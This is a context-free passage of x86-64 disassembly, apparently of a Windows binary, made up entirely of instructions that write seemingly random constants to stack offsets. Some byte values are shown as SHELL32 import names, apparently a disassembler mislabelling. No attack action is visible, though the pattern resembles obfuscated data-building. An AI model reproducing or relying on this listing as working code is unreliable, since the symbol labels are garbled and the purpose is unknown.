mov dword [rsp + 0x69b4], 0x57c3
mov dword [rsp + 0x69b8], 0x1f33
mov eax, 0x80
mov word [rsp + 0x159c], ax
mov dword [rsp + 0x69bc], 0x2799
mov byte [rsp + 0xe4], 0x85
mov byte [rsp + 0xe5], 0x25
mov dword [rsp + 0x69c0], 0x7d11
mov dword [rsp + 0x69c4], 0x2abd
mov dword [rsp + 0x69c8], 0x4ed0
mov dword [rsp + 0x69cc], 0x41ec
mov dword [rsp + 0x69d0], 0x55c4
mov dword [rsp + 0x69d4], 0x3883
mov dword [rsp + 0x69d8], 0x7842
mov dword [rsp + 0x69dc], 0x8f16
mov dword [rsp + 0x69e0], 0x77e4
mov dword [rsp + 0x69e4], 0xbbb1
mov dword [rsp + 0x69e8], 0x59f2
mov dword [rsp + 0x69ec], 0x5b8f
mov dword [rsp + 0x69f0], 0x3225
mov dword [rsp + 0x69f4], 0x21b1
mov dword [rsp + 0x69f8], 0x57aa
mov eax, 0x716
mov word [rsp + 0x15a0], ax
mov dword [rsp + 0x69fc], 0x6155
mov dword [rsp + 0x6a00], 0x5cf3
mov eax, 0x3e6
mov word [rsp + 0x15a4], ax
mov eax, 0xec5
mov word [rsp + 0x15a8], ax
mov byte [rsp + 0xe6], 0xd7
mov dword [rsp + 0x6a04], 0x1a78
mov dword [rsp + 0x6a08], 0x35c0
mov dword [rsp + 0x6a0c], 0xa14a
mov dword [rsp + 0x6a10], 0x1435
mov eax, 0xeed
mov word [rsp + 0x15ac], ax
mov dword [rsp + 0x6a14], 0x34eb
mov dword [rsp + 0x6a18], 0x3e87
mov eax, 0xdab
mov word [rsp + 0x15b0], ax
mov byte [rsp + 0xe7], 0x3b
mov byte [rsp + 0xe8], 0x28
mov dword [rsp + 0x6a1c], 0x716f
mov dword [rsp + 0x6a20], 0xd9ab
mov dword [rsp + 0x6a24], 0x2185
mov dword [rsp + 0x6a28], 0xd6b
mov byte [rsp + 0xe9], 0x42
mov eax, 0xa61
mov word [rsp + 0x15b4], ax
mov byte [rsp + 0xea], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6a2c], 0x53a5
mov dword [rsp + 0x6a30], 0x79d0
mov dword [rsp + 0x6a34], 0x4d69
mov dword [rsp + 0x6a38], 0x3f93
mov byte [rsp + 0xeb], 0xf6
mov dword [rsp + 0x6a3c], 0xe0e0
mov dword [rsp + 0x6a40], 0x6fe5
mov dword [rsp + 0x6a44], 0x6639
mov byte [rsp + 0xec], 0x2f
mov byte [rsp + 0xed], 0xc8
mov dword [rsp + 0x6a48], 0x1d26
mov dword [rsp + 0x6a4c], 0xd80
mov byte [rsp + 0xee], 0xce
mov byte [rsp + 0xef], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6a50], 0x6668
mov dword [rsp + 0x6a54], 0x7b87
mov eax, 0x7b3
mov word [rsp + 0x15b8], ax
mov dword [rsp + 0x6a58], 0x25d7
mov dword [rsp + 0x6a5c], 0xcb4b
mov dword [rsp + 0x6a60], 0x63c9
mov dword [rsp + 0x6a64], 0x2da1
mov dword [rsp + 0x6a68], 0x77b5
mov dword [rsp + 0x6a6c], 0x32a2
mov byte [rsp + 0xf0], 0x3b
mov dword [rsp + 0x6a70], 0x400d
mov dword [rsp + 0x6a74], 0x62bf
mov dword [rsp + 0x6a78], 0x2156
mov byte [rsp + 0xf1], 0x68
mov dword [rsp + 0x6a7c], 0xa0c3
mov dword [rsp + 0x6a80], 0x21dd
mov dword [rsp + 0x6a84], 0x52ac
mov dword [rsp + 0x6a88], 0x5626
mov dword [rsp + 0x6a8c], 0x99f9
mov byte [rsp + 0xf2], 0xc8
mov eax, 0x115
mov word [rsp + 0x15bc], ax
mov eax, 0x591
mov word [rsp + 0x15c0], ax
mov eax, 0x3f1
mov word [rsp + 0x15c4], ax
mov dword [rsp + 0x6a90], 0x850e
mov byte [rsp + 0xf3], SHSetInstanceExplorer
mov byte [rsp + 0xf4], 0xed
mov dword [rsp + 0x6a94], 0x3281
mov dword [rsp + 0x6a98], 0x5b59
mov dword [rsp + 0x6a9c], 0x6ee2
mov dword [rsp + 0x6aa0], 0x1b3b
mov dword [rsp + 0x6aa4], 0x473e
mov eax, 0xb21
mov word [rsp + 0x15c8], ax
mov eax, 0xb3b
mov word [rsp + 0x15cc], ax
mov eax, 0x1d0
mov word [rsp + 0x15d0], ax
mov eax, 0xf2f
mov word [rsp + 0x15d4], ax
mov byte [rsp + 0xf5], 0x19
mov dword [rsp + 0x6aa8], 0x878d
mov byte [rsp + 0xf6], 0xf3
mov dword [rsp + 0x6aac], 0x507c
mov eax, 0xd2
mov word [rsp + 0x15d8], ax
mov dword [rsp + 0x6ab0], 0xd971
mov byte [rsp + 0xf7], 0x7a
mov byte [rsp + 0xf8], 0x70
mov byte [rsp + 0xf9], 0xa
mov dword [rsp + 0x6ab4], 0x6680
mov dword [rsp + 0x6ab8], 0xc732
mov dword [rsp + 0x6abc], 0x2b9b
mov byte [rsp + 0xfa], 0xbb
mov dword [rsp + 0x6ac0], 0x6c0b
mov byte [rsp + 0xfb], 0x25
mov dword [rsp + 0x6ac4], 0x433b
mov dword [rsp + 0x6ac8], 0x1513
mov dword [rsp + 0x6acc], 0x1ae9
mov dword [rsp + 0x6ad0], 0x765e
mov byte [rsp + 0xfc], 0xe4
mov byte [rsp + 0xfd], 0x3a
mov eax, 0x216
mov word [rsp + 0x15dc], ax
mov byte [rsp + 0xfe], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0xff], 0x3b
mov dword [rsp + 0x6ad4], 0x5939
mov eax, 0xbfd
mov word [rsp + 0x15e0], ax
mov byte [rsp + 0x100], 0x9c
mov dword [rsp + 0x6ad8], 0x1f1
mov dword [rsp + 0x6adc], 0x893a
mov dword [rsp + 0x6ae0], 0x4c6b
mov byte [rsp + 0x101], DrawInsert
mov dword [rsp + 0x6ae4], 0x3906
mov eax, 0x3c1
mov word [rsp + 0x15e4], ax
mov byte [rsp + 0x102], 0xf8
mov byte [rsp + 0x103], 0x27
mov eax, 0x28
mov word [rsp + 0x15e8], ax
mov eax, 0xa18
mov word [rsp + 0x15ec], ax
mov byte [rsp + 0x104], 0x15
mov dword [rsp + 0x6ae8], 0x41cc
mov dword [rsp + 0x6aec], 0xa1a6
mov byte [rsp + 0x105], 0xd3
mov dword [rsp + 0x6af0], 0x6056
mov dword [rsp + 0x6af4], 0x3d04
mov dword [rsp + 0x6af8], 0x57c2
mov dword [rsp + 0x6afc], 0xf2bc
mov eax, ILFree
mov word [rsp + 0x15f0], ax
mov byte [rsp + 0x106], 0x2c
mov dword [rsp + 0x6b00], 0x38e9
mov dword [rsp + 0x6b04], 0xb50
mov dword [rsp + 0x6b08], 0x1b85
mov dword [rsp + 0x6b0c], 0x74b0
mov dword [rsp + 0x6b10], 0x82f
mov dword [rsp + 0x6b14], 0x7744
mov byte [rsp + 0x107], 0x34
mov dword [rsp + 0x6b18], 0xf1c0
mov byte [rsp + 0x108], 0x4c
mov eax, 0x669
mov word [rsp + 0x15f4], ax
mov dword [rsp + 0x6b1c], 0x1658
mov dword [rsp + 0x6b20], 0x60a9
mov byte [rsp + 0x109], DrawInsert
mov eax, 0x534
mov word [rsp + 0x15f8], ax
mov eax, 0xbed
mov word [rsp + 0x15fc], ax
mov dword [rsp + 0x6b24], 0x2cbe
mov eax, 0xfab
mov word [rsp + 0x1600], ax
mov eax, 0xf47
mov word [rsp + 0x1604], ax
mov dword [rsp + 0x6b28], 0x71c6
mov eax, 0x244
mov word [rsp + 0x1608], ax
mov byte [rsp + 0x10a], 0x16
mov dword [rsp + 0x6b2c], 0xd7d0
mov eax, 0xc66
mov word [rsp + 0x160c], ax
mov dword [rsp + 0x6b30], 0x552f
mov dword [rsp + 0x6b34], 0x256b
mov byte [rsp + 0x10b], 0x74
mov dword [rsp + 0x6b38], 0x7a53
mov dword [rsp + 0x6b3c], 0x34e7
mov dword [rsp + 0x6b40], 0x3f8c
mov byte [rsp + 0x10c], 0x7e
mov dword [rsp + 0x6b44], 0x5634
mov dword [rsp + 0x6b48], 0x77e1
mov dword [rsp + 0x6b4c], 0x5cfe
mov dword [rsp + 0x6b50], 0xa5fb
mov dword [rsp + 0x6b54], 0xc5d7
mov eax, 0xc44
mov word [rsp + 0x1610], ax
mov byte [rsp + 0x10d], 0xb4
mov dword [rsp + 0x6b58], 0xfeb3
mov eax, 0x818
mov word [rsp + 0x1614], ax
mov dword [rsp + 0x6b5c], 0xda14
mov dword [rsp + 0x6b60], 0x596f
mov dword [rsp + 0x6b64], 0x7998
mov eax, 0x694
mov word [rsp + 0x1618], ax
mov byte [rsp + 0x10e], 0x3a
mov dword [rsp + 0x6b68], 0x5c6
mov dword [rsp + 0x6b6c], 0xe5d
mov byte [rsp + 0x10f], 0x21
mov dword [rsp + 0x6b70], 0xf9af
mov eax, 0x7da
mov word [rsp + 0x161c], ax
mov byte [rsp + 0x110], 0xa0
mov byte [rsp + 0x111], 0x34
mov dword [rsp + 0x6b74], 0x4a6d
mov dword [rsp + 0x6b78], 0x15cf
mov dword [rsp + 0x6b7c], 0x5606
mov byte [rsp + 0x112], ILFree
mov dword [rsp + 0x6b80], 0x2998
mov dword [rsp + 0x6b84], 0x4808
mov dword [rsp + 0x6b88], 0x5d72
mov dword [rsp + 0x6b8c], 0x20cd
mov byte [rsp + 0x113], 0x67
mov dword [rsp + 0x6b90], 0x718b
mov dword [rsp + 0x6b94], 0x1238
mov dword [rsp + 0x6b98], 0x855f
mov byte [rsp + 0x114], DrawInsert
mov byte [rsp + 0x115], 0x5a
mov dword [rsp + 0x6b9c], 0x804
mov dword [rsp + 0x6ba0], 0xbe5
mov byte [rsp + 0x116], 0x63
mov dword [rsp + 0x6ba4], 0xa588
mov dword [rsp + 0x6ba8], 0xd3cb
mov byte [rsp + 0x117], 0x18
mov dword [rsp + 0x6bac], 0x17f6
mov byte [rsp + 0x118], 0x7d
mov byte [rsp + 0x119], ILFree
mov byte [rsp + 0x11a], 0x18
mov eax, 0x7ce
mov word [rsp + 0x1620], ax
mov dword [rsp + 0x6bb0], 0x249a
mov eax, 0xedf
mov word [rsp + 0x1624], ax
mov eax, 0x457
mov word [rsp + 0x1628], ax
mov dword [rsp + 0x6bb4], 0x499
mov byte [rsp + 0x11b], 0x7c
mov dword [rsp + 0x6bb8], 0x3b70
mov dword [rsp + 0x6bbc], 0x502c
mov dword [rsp + 0x6bc0], 0x9272
mov dword [rsp + 0x6bc4], 0x4cd2
mov dword [rsp + 0x6bc8], 0x2a25
mov byte [rsp + 0x11c], 0x7f
mov dword [rsp + 0x6bcc], 0x661d
mov dword [rsp + 0x6bd0], 0x4fcc
mov byte [rsp + 0x11d], 0x4f
mov byte [rsp + 0x11e], 0x42
mov byte [rsp + 0x11f], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6bd4], 0x7b5c
mov dword [rsp + 0x6bd8], 0xc9aa
mov eax, 0xd47
mov word [rsp + 0x162c], ax
mov dword [rsp + 0x6bdc], 0x64af
mov eax, 0x252
mov word [rsp + 0x1630], ax
mov dword [rsp + 0x6be0], 0xc8c2
mov byte [rsp + 0x120], DrawInsert
mov byte [rsp + 0x121], 0xa1
mov byte [rsp + 0x122], 0xa0
mov eax, 0x551
mov word [rsp + 0x1634], ax
mov dword [rsp + 0x6be4], 0x120f
mov byte [rsp + 0x123], 9
mov eax, 0x8b5
mov word [rsp + 0x1638], ax
mov dword [rsp + 0x6be8], 0x7bd3
mov eax, 0x608
mov word [rsp + 0x163c], ax
mov dword [rsp + 0x6bec], 0x14a0
mov dword [rsp + 0x6bf0], 0x7e14
mov byte [rsp + 0x124], 0xc5
mov dword [rsp + 0x6bf4], 0x6a75
mov byte [rsp + 0x125], 0x70
mov dword [rsp + 0x6bf8], 0xaae9
mov dword [rsp + 0x6bfc], 0xa4c
mov byte [rsp + 0x126], 0xf5
mov eax, 0xa10
mov word [rsp + 0x1640], ax
mov byte [rsp + 0x127], 0xf4
mov eax, 0xd96
mov word [rsp + 0x1644], ax
mov dword [rsp + 0x6c00], 0x1b33
mov dword [rsp + 0x6c04], 0x2e9c
mov byte [rsp + 0x128], 0x28
mov eax, 0x704
mov word [rsp + 0x1648], ax
mov byte [rsp + 0x129], 0x65
mov byte [rsp + 0x12a], 0x67
mov dword [rsp + 0x6c08], 0x3e53
mov byte [rsp + 0x12b], 0xbf
mov eax, 0xec9
mov word [rsp + 0x164c], ax
mov byte [rsp + 0x12c], 0x34
mov dword [rsp + 0x6c0c], 0x7291
mov dword [rsp + 0x6c10], 0x713d
mov dword [rsp + 0x6c14], 0x28c9
mov byte [rsp + 0x12d], 7
mov dword [rsp + 0x6c18], 0x38b6
mov byte [rsp + 0x12e], 0x76
mov dword [rsp + 0x6c1c], 0x4968
mov dword [rsp + 0x6c20], 0x14bc
mov byte [rsp + 0x12f], 0x10
mov eax, 0x372
mov word [rsp + 0x1650], ax
mov byte [rsp + 0x130], 0x78
mov dword [rsp + 0x6c24], 0x7c3f
mov dword [rsp + 0x6c28], 0xae82
mov dword [rsp + 0x6c2c], 0x499
mov dword [rsp + 0x6c30], 0x513b
mov byte [rsp + 0x131], ILFree
mov dword [rsp + 0x6c34], 0x5136
mov byte [rsp + 0x132], 0x72
mov eax, 0xcf8
mov word [rsp + 0x1654], ax
mov eax, 0x3f9
mov word [rsp + 0x1658], ax
mov eax, 0x79
mov word [rsp + 0x165c], ax
mov dword [rsp + 0x6c38], 0x3842
mov eax, 0x1f6
mov word [rsp + 0x1660], ax
mov eax, 0x9b7
mov word [rsp + 0x1664], ax
mov dword [rsp + 0x6c3c], 0x1368
mov dword [rsp + 0x6c40], 0x473e
mov dword [rsp + 0x6c44], 0x2686
mov dword [rsp + 0x6c48], 0x1ad5
mov byte [rsp + 0x133], 0x69
mov eax, 0x32f
mov word [rsp + 0x1668], ax
mov dword [rsp + 0x6c4c], 0x9645
mov dword [rsp + 0x6c50], 0x5bd3
mov eax, 0x501
mov word [rsp + 0x166c], ax
mov byte [rsp + 0x134], 0x26
mov byte [rsp + 0x135], 0x75
mov dword [rsp + 0x6c54], 0x3bae
mov dword [rsp + 0x6c58], 0x86e3
mov byte [rsp + 0x136], 0xf1
mov eax, 0x8ab
mov word [rsp + 0x1670], ax
mov dword [rsp + 0x6c5c], 0xd877
mov dword [rsp + 0x6c60], 0x323e
mov dword [rsp + 0x6c64], 0x9c5d
mov byte [rsp + 0x137], 0x23
mov dword [rsp + 0x6c68], 0x350b
mov eax, 0xc76
mov word [rsp + 0x1674], ax
mov byte [rsp + 0x138], SHSetInstanceExplorer
mov eax, 0xdae
mov word [rsp + 0x1678], ax
mov dword [rsp + 0x6c6c], 0x5d08
mov byte [rsp + 0x139], 0xa6
mov dword [rsp + 0x6c70], 0x8bb
mov eax, 0xb40
mov word [rsp + 0x167c], ax
mov dword [rsp + 0x6c74], 0x2bc4
mov byte [rsp + 0x13a], 0x3a
mov dword [rsp + 0x6c78], 0x22c7
mov byte [rsp + 0x13b], 0x1d
mov eax, 0xc72
mov word [rsp + 0x1680], ax
mov dword [rsp + 0x6c7c], 0x49b0
mov eax, 0x698
mov word [rsp + 0x1684], ax
mov dword [rsp + 0x6c80], 0x74c9
mov dword [rsp + 0x6c84], 0x6502
mov dword [rsp + 0x6c88], 0x42ed
mov eax, 0x309
mov word [rsp + 0x1688], ax
mov dword [rsp + 0x6c8c], 0x146a
mov byte [rsp + 0x13c], 2
mov dword [rsp + 0x6c90], 0x1351
mov dword [rsp + 0x6c94], 0xbfca
mov dword [rsp + 0x6c98], 0x2cf6
mov byte [rsp + 0x13d], 0xb5
mov dword [rsp + 0x6c9c], 0x53b3
mov dword [rsp + 0x6ca0], 0x745e
mov dword [rsp + 0x6ca4], 0x7a0d
mov dword [rsp + 0x6ca8], 0x739
mov dword [rsp + 0x6cac], 0x27d0
mov dword [rsp + 0x6cb0], 0xe9e7
mov eax, 0x647
mov word [rsp + 0x168c], ax
mov dword [rsp + 0x6cb4], 0x91a9
mov byte [rsp + 0x13e], 0x6e
mov byte [rsp + 0x13f], 0x83
mov eax, 0x259
mov word [rsp + 0x1690], ax
mov dword [rsp + 0x6cb8], 0x3845
mov dword [rsp + 0x6cbc], 0xecc2
mov dword [rsp + 0x6cc0], 0x4d1d
mov dword [rsp + 0x6cc4], 0x1b31
mov dword [rsp + 0x6cc8], 0x750e
mov dword [rsp + 0x6ccc], 0x6d85
mov dword [rsp + 0x6cd0], 0x7d3e
mov dword [rsp + 0x6cd4], 0x65ce
mov eax, 0x97e
mov word [rsp + 0x1694], ax
mov eax, 0xc56
mov word [rsp + 0x1698], ax
mov dword [rsp + 0x6cd8], 0x744f
mov byte [rsp + 0x140], 0x24
mov dword [rsp + 0x6cdc], 0x17df
mov dword [rsp + 0x6ce0], 0x709
mov dword [rsp + 0x6ce4], 0x1d64
mov byte [rsp + 0x141], 0xc0
mov eax, 0x470
mov word [rsp + 0x169c], ax
mov dword [rsp + 0x6ce8], 0xb3f6
mov eax, 0x377
mov word [rsp + 0x16a0], ax
mov eax, 0x731
mov word [rsp + 0x16a4], ax
mov byte [rsp + 0x142], 0xec
mov dword [rsp + 0x6cec], 0x1cd6
mov dword [rsp + 0x6cf0], 0x4aff
mov eax, 0x1df
mov word [rsp + 0x16a8], ax
mov dword [rsp + 0x6cf4], 0xc69f
mov dword [rsp + 0x6cf8], 0x7606
mov eax, 0x3b9
mov word [rsp + 0x16ac], ax
mov eax, 0xdf2
mov word [rsp + 0x16b0], ax
mov dword [rsp + 0x6cfc], 0x3f6d
mov eax, 0x241
mov word [rsp + 0x16b4], ax
mov dword [rsp + 0x6d00], 0x7e06
mov dword [rsp + 0x6d04], 0x28db
mov dword [rsp + 0x6d08], 0xe36
mov dword [rsp + 0x6d0c], 0x18a
mov eax, 0x617
mov word [rsp + 0x16b8], ax
mov byte [rsp + 0x143], 0x23
mov byte [rsp + 0x144], 0x63
mov dword [rsp + 0x6d10], 0xe526
mov dword [rsp + 0x6d14], 0x76c3
mov byte [rsp + 0x145], 0xb1
mov dword [rsp + 0x6d18], 0x4d8f
mov dword [rsp + 0x6d1c], 0x47ae
mov dword [rsp + 0x6d20], 0xbe5
mov dword [rsp + 0x6d24], 0x3b40
mov byte [rsp + 0x146], 0x72
mov eax, 0x1de
mov word [rsp + 0x16bc], ax
mov eax, 0x61d
mov word [rsp + 0x16c0], ax
mov eax, 0x744
mov word [rsp + 0x16c4], ax
mov dword [rsp + 0x6d28], 0x114
mov dword [rsp + 0x6d2c], 0xaa70
mov dword [rsp + 0x6d30], 0x27a5
mov eax, 0xf45
mov word [rsp + 0x16c8], ax
mov eax, 0xe47
mov word [rsp + 0x16cc], ax
mov dword [rsp + 0x6d34], 0x5e06
mov byte [rsp + 0x147], SHSetInstanceExplorer
mov byte [rsp + 0x148], 0xbe
mov dword [rsp + 0x6d38], 0x5176
mov eax, 0xd52
mov word [rsp + 0x16d0], ax
mov dword [rsp + 0x6d3c], 0x2573
mov dword [rsp + 0x6d40], 0x3ff
mov dword [rsp + 0x6d44], 0x8c6b
mov dword [rsp + 0x6d48], 0x36e1
mov dword [rsp + 0x6d4c], 0x5cb7
mov eax, 0x98c
mov word [rsp + 0x16d4], ax
mov dword [rsp + 0x6d50], 0x385f
mov dword [rsp + 0x6d54], 0x361e
mov dword [rsp + 0x6d58], 0xdccc
mov byte [rsp + 0x149], 0x36
mov byte [rsp + 0x14a], 0xd5
mov byte [rsp + 0x14b], 0x39
mov byte [rsp + 0x14c], 0x1e
mov eax, 0x159
mov word [rsp + 0x16d8], ax
mov dword [rsp + 0x6d5c], 0x7e48
mov dword [rsp + 0x6d60], 0x516b
mov dword [rsp + 0x6d64], 0x45b9
mov eax, 0xb47
mov word [rsp + 0x16dc], ax
mov dword [rsp + 0x6d68], 0x6506
mov eax, 0x634
mov word [rsp + 0x16e0], ax
mov dword [rsp + 0x6d6c], 0x734d
mov byte [rsp + 0x14d], 0x35
mov dword [rsp + 0x6d70], 0x8c7b
mov dword [rsp + 0x6d74], 0x55ec
mov dword [rsp + 0x6d78], 0xe49
mov dword [rsp + 0x6d7c], 0x3edd
mov byte [rsp + 0x14e], 0x7a
mov dword [rsp + 0x6d80], 0x4138
mov eax, 0x78d
mov word [rsp + 0x16e4], ax
mov dword [rsp + 0x6d84], 0xf2c7
mov dword [rsp + 0x6d88], 0xd109
mov eax, 0x859
mov word [rsp + 0x16e8], ax
mov eax, 0x254
mov word [rsp + 0x16ec], ax
mov dword [rsp + 0x6d8c], 0x489b
mov dword [rsp + 0x6d90], 0x6611
mov eax, 0x6e6
mov word [rsp + 0x16f0], ax
mov eax, 0x353
mov word [rsp + 0x16f4], ax
mov dword [rsp + 0x6d94], 0xf955
mov dword [rsp + 0x6d98], 0x1710
mov dword [rsp + 0x6d9c], 0x2406
mov eax, 0xa25
mov word [rsp + 0x16f8], ax
mov byte [rsp + 0x14f], 0x72
mov byte [rsp + 0x150], ILFree
mov eax, 0x64f
mov word [rsp + 0x16fc], ax
mov byte [rsp + 0x151], 0x5a
mov dword [rsp + 0x6da0], 0x2360
mov eax, 0x5ea
mov word [rsp + 0x1700], ax
mov dword [rsp + 0x6da4], 0x5455
mov eax, 0x435
mov word [rsp + 0x1704], ax
mov dword [rsp + 0x6da8], 0xc38
mov dword [rsp + 0x6dac], 0x547d
mov dword [rsp + 0x6db0], 0x3592
mov byte [rsp + 0x152], 0xe6
mov dword [rsp + 0x6db4], 0x476
mov eax, 0x124
mov word [rsp + 0x1708], ax
mov dword [rsp + 0x6db8], 0xb478
mov dword [rsp + 0x6dbc], 0x26b2
mov eax, 0x265
mov word [rsp + 0x170c], ax
mov eax, 0xd6d
mov word [rsp + 0x1710], ax
mov dword [rsp + 0x6dc0], 0x7952
mov dword [rsp + 0x6dc4], 0xe4e
mov dword [rsp + 0x6dc8], 0x2073
mov dword [rsp + 0x6dcc], 0xe55b
mov byte [rsp + 0x153], 0x6b
mov byte [rsp + 0x154], 0x23
mov dword [rsp + 0x6dd0], 0x2974
mov eax, 0x3f9
mov word [rsp + 0x1714], ax
mov dword [rsp + 0x6dd4], 0x8634
mov dword [rsp + 0x6dd8], 0x4886
mov dword [rsp + 0x6ddc], 0x264b
mov byte [rsp + 0x155], 0x5a
mov byte [rsp + 0x156], 1
mov dword [rsp + 0x6de0], 0x32c2
mov byte [rsp + 0x157], SHSetInstanceExplorer
mov dword [rsp + 0x6de4], 0x3d01
mov dword [rsp + 0x6de8], 0x47a6
mov eax, 0x34f
mov word [rsp + 0x1718], ax
mov dword [rsp + 0x6dec], 0x26fb
mov dword [rsp + 0x6df0], 0x3e
mov dword [rsp + 0x6df4], 0x1601
mov eax, 0x803
mov word [rsp + 0x171c], ax
mov byte [rsp + 0x158], 0x89
mov dword [rsp + 0x6df8], 0x8b3e
mov dword [rsp + 0x6dfc], 0x4f85
mov dword [rsp + 0x6e00], 0x403e
mov dword [rsp + 0x6e04], 0x2323
mov dword [rsp + 0x6e08], 0x77b1
mov dword [rsp + 0x6e0c], 0x7883
mov eax, 0x1fa
mov word [rsp + 0x1720], ax
mov dword [rsp + 0x6e10], 0x437e
mov dword [rsp + 0x6e14], 0x5dec
mov dword [rsp + 0x6e18], 0x10ed
mov dword [rsp + 0x6e1c], 0x416b
mov eax, 0xf41
mov word [rsp + 0x1724], ax
mov dword [rsp + 0x6e20], 0x438c
mov eax, 0x1d9
mov word [rsp + 0x1728], ax
mov byte [rsp + 0x159], 0x88
mov dword [rsp + 0x6e24], 0xcc95
mov byte [rsp + 0x15a], 0x3e
mov dword [rsp + 0x6e28], 0xd0cd
mov dword [rsp + 0x6e2c], 0x2701
mov dword [rsp + 0x6e30], 0x179
mov eax, 0xe81
mov word [rsp + 0x172c], ax
mov byte [rsp + 0x15b], 0xf9
mov byte [rsp + 0x15c], 0xe7
mov dword [rsp + 0x6e34], 0x523a
mov eax, 0xe25
mov word [rsp + 0x1730], ax
mov dword [rsp + 0x6e38], 0x5ec5
mov byte [rsp + 0x15d], 0x15
mov eax, 0x398
mov word [rsp + 0x1734], ax
mov eax, 0xe35
mov word [rsp + 0x1738], ax
mov eax, 0x613
mov word [rsp + 0x173c], ax
mov dword [rsp + 0x6e3c], 0x2962
mov byte [rsp + 0x15e], 0xdd
mov dword [rsp + 0x6e40], 0x156a
mov byte [rsp + 0x15f], SHSetInstanceExplorer
mov dword [rsp + 0x6e44], 0xfc6b
mov dword [rsp + 0x6e48], 0xfc9
mov dword [rsp + 0x6e4c], 0x3f9d
mov dword [rsp + 0x6e50], 0x697b
mov dword [rsp + 0x6e54], 0x1c9c
mov dword [rsp + 0x6e58], 0x9191
mov eax, 0xec8
mov word [rsp + 0x1740], ax
mov dword [rsp + 0x6e5c], 0x1ce0
mov dword [rsp + 0x6e60], 0x91b7
mov dword [rsp + 0x6e64], 0x594c
mov eax, 0x9dc
mov word [rsp + 0x1744], ax
mov byte [rsp + 0x160], 0x40
mov byte [rsp + 0x161], 0x38
mov dword [rsp + 0x6e68], 0x639e
mov byte [rsp + 0x162], 0x3e
mov dword [rsp + 0x6e6c], 0x75d2
mov eax, 0x4b6
mov word [rsp + 0x1748], ax
mov dword [rsp + 0x6e70], 0x19a3
mov byte [rsp + 0x163], SHSetInstanceExplorer
mov dword [rsp + 0x6e74], 0x403e
mov eax, 0x664
mov word [rsp + 0x174c], ax
mov dword [rsp + 0x6e78], 0x2457
mov byte [rsp + 0x164], SHDoDragDrop
mov dword [rsp + 0x6e7c], 0xd790
mov eax, 0x5c
mov word [rsp + 0x1750], ax
mov dword [rsp + 0x6e80], 0xd5d2
mov dword [rsp + 0x6e84], 0x9612
mov dword [rsp + 0x6e88], 0x47d4
mov dword [rsp + 0x6e8c], 0x2bcb
mov dword [rsp + 0x6e90], 0x39bf
mov eax, 0x32b
mov word [rsp + 0x1754], ax
mov byte [rsp + 0x165], 0x8a
mov eax, 0xcec
mov word [rsp + 0x1758], ax
mov eax, 0x9c7
mov word [rsp + 0x175c], ax
mov eax, 0x358
mov word [rsp + 0x1760], ax
mov eax, 0x5f0
mov word [rsp + 0x1764], ax
mov dword [rsp + 0x6e94], 0x6c16
mov dword [rsp + 0x6e98], 0x659a
mov byte [rsp + 0x166], 0xf1
mov byte [rsp + 0x167], 0x84
mov byte [rsp + 0x168], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6e9c], 0x751e
mov byte [rsp + 0x169], 3
mov dword [rsp + 0x6ea0], 0x2ffe
mov byte [rsp + 0x16a], 0x23
mov byte [rsp + 0x16b], 0x3a
mov byte [rsp + 0x16c], 0x91
mov dword [rsp + 0x6ea4], 0x52d5
mov eax, 0xf47
mov word [rsp + 0x1768], ax
mov dword [rsp + 0x6ea8], 0x7d4f
mov dword [rsp + 0x6eac], 0xb7ca
mov dword [rsp + 0x6eb0], 0x6612
mov eax, 0x78c
mov word [rsp + 0x176c], ax
mov dword [rsp + 0x6eb4], 0xf90
mov dword [rsp + 0x6eb8], 0x47ec
mov dword [rsp + 0x6ebc], 0x5b21
mov dword [rsp + 0x6ec0], 0x3fcc
mov byte [rsp + 0x16d], 0xa
mov dword [rsp + 0x6ec4], 0x6d24
mov dword [rsp + 0x6ec8], 0x3884
mov eax, 0xa54
mov word [rsp + 0x1770], ax
mov dword [rsp + 0x6ecc], 0x857a
mov dword [rsp + 0x6ed0], 0x3d04
mov dword [rsp + 0x6ed4], 0xf3b0
mov dword [rsp + 0x6ed8], 0x6b7e
mov byte [rsp + 0x16e], 0x3c
mov byte [rsp + 0x16f], DrawInsert
mov eax, 0x604
mov word [rsp + 0x1774], ax
mov dword [rsp + 0x6edc], 0x8477
mov dword [rsp + 0x6ee0], 0xccb3
mov byte [rsp + 0x170], 0xc5
mov byte [rsp + 0x171], 0x93
mov dword [rsp + 0x6ee4], 0x3dff
mov dword [rsp + 0x6ee8], 0x3906
mov dword [rsp + 0x6eec], 0x934f
mov dword [rsp + 0x6ef0], 0x5fcc
mov byte [rsp + 0x172], 0x33
mov byte [rsp + 0x173], 0x3b
mov dword [rsp + 0x6ef4], 0x6c1f
mov dword [rsp + 0x6ef8], 0x245a
mov dword [rsp + 0x6efc], 0x5c1a
mov dword [rsp + 0x6f00], 0x8f8f
mov dword [rsp + 0x6f04], 0x728b
mov dword [rsp + 0x6f08], 0x4d89
mov dword [rsp + 0x6f0c], 0x3dfe
mov byte [rsp + 0x174], 0x20
mov byte [rsp + 0x175], 0xd9
mov dword [rsp + 0x6f10], 0x8b6f
mov dword [rsp + 0x6f14], 0x4e99
mov dword [rsp + 0x6f18], 0x7623
mov dword [rsp + 0x6f1c], 0x6d06
mov dword [rsp + 0x6f20], 0x7975
mov dword [rsp + 0x6f24], 0x6b73
mov dword [rsp + 0x6f28], 0x8bfd
mov eax, 0x77f
mov word [rsp + 0x1778], ax
mov dword [rsp + 0x6f2c], 0x35f2
mov dword [rsp + 0x6f30], 0x696c
mov eax, 0x772
mov word [rsp + 0x177c], ax
mov eax, 0x5cf
mov word [rsp + 0x1780], ax
mov byte [rsp + 0x176], 0x37
mov dword [rsp + 0x6f34], 0x5051
mov dword [rsp + 0x6f38], 0x85ce
mov dword [rsp + 0x6f3c], 0x66aa
mov dword [rsp + 0x6f40], 0x3d13
mov dword [rsp + 0x6f44], 0xc2d6
mov dword [rsp + 0x6f48], 0x12de
mov byte [rsp + 0x177], 0x7e
mov byte [rsp + 0x178], 0x81
mov byte [rsp + 0x179], 0xdd
mov dword [rsp + 0x6f4c], 0x3361
mov dword [rsp + 0x6f50], 0x3d86
mov byte [rsp + 0x17a], 0xc8
mov dword [rsp + 0x6f54], 0xf1d5
mov dword [rsp + 0x6f58], 0x580e
mov dword [rsp + 0x6f5c], 0x5e1c
